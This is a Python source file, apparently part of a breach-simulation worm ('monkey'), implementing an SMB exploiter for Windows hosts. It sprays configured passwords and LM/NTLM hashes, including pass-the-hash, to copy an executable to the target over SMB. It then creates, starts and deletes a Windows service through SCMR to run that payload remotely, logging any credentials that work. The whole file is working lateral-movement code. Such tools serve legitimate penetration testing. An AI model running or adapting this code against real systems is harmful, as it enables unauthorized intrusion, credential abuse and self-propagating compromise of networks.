141 lines
5.8 KiB
Python
141 lines
5.8 KiB
Python
from logging import getLogger
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from impacket.dcerpc.v5 import transport, scmr
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from impacket.smbconnection import SMB_DIALECT
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from exploit import HostExploiter
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from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
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from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
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from network import SMBFinger
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from network.tools import check_tcp_port
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from tools import build_monkey_commandline
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LOG = getLogger(__name__)
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class SmbExploiter(HostExploiter):
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_TARGET_OS_TYPE = ['windows']
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KNOWN_PROTOCOLS = {
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'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
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'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
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}
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USE_KERBEROS = False
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def __init__(self, host):
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super(SmbExploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self._guid = __import__('config').GUID
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def is_os_supported(self):
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if super(SmbExploiter, self).is_os_supported():
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return True
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if not self.host.os.get('type'):
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is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
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if is_smb_open:
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smb_finger = SMBFinger()
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smb_finger.get_host_fingerprint(self.host)
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else:
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is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
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if is_nb_open:
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self.host.os['type'] = 'windows'
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return self.host.os.get('type') in self._TARGET_OS_TYPE
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return False
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def exploit_host(self):
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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creds = self._config.get_exploit_user_password_or_hash_product()
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exploited = False
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for user, password, lm_hash, ntlm_hash in creds:
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try:
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# copy the file remotely using SMB
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remote_full_path = SmbTools.copy_file(self.host,
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src_path,
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self._config.dropper_target_path_win_32,
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user,
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password,
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lm_hash,
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ntlm_hash,
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self._config.smb_download_timeout)
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if remote_full_path is not None:
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LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
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self.host, user, password, lm_hash, ntlm_hash)
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self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
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exploited = True
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break
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else:
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# failed exploiting with this user/pass
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self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
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except Exception as exc:
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LOG.debug("Exception when trying to copy file using SMB to %r with user:"
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" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
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user, password, lm_hash, ntlm_hash, exc)
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continue
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if not exploited:
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LOG.debug("Exploiter SmbExec is giving up...")
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return False
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# execute the remote dropper in case the path isn't final
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if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
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cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
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build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
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else:
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cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
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build_monkey_commandline(self.host, get_monkey_depth() - 1)
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for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
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rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
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rpctransport.set_dport(port)
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if hasattr(rpctransport, 'preferred_dialect'):
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rpctransport.preferred_dialect(SMB_DIALECT)
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if hasattr(rpctransport, 'set_credentials'):
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# This method exists only for selected protocol sequences.
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rpctransport.set_credentials(user, password, '',
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lm_hash, ntlm_hash, None)
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rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
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scmr_rpc = rpctransport.get_dce_rpc()
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try:
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scmr_rpc.connect()
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except Exception as exc:
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LOG.warn("Error connecting to SCM on exploited machine %r: %s",
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self.host, exc)
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return False
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smb_conn = rpctransport.get_smb_connection()
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break
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# We don't wanna deal with timeouts from now on.
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smb_conn.setTimeout(100000)
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scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
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resp = scmr.hROpenSCManagerW(scmr_rpc)
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sc_handle = resp['lpScHandle']
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# start the monkey using the SCM
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resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
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lpBinaryPathName=cmdline)
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service = resp['lpServiceHandle']
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try:
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scmr.hRStartServiceW(scmr_rpc, service)
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except:
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pass
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scmr.hRDeleteService(scmr_rpc, service)
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scmr.hRCloseServiceHandle(scmr_rpc, service)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
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remote_full_path, self.host, cmdline)
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return True
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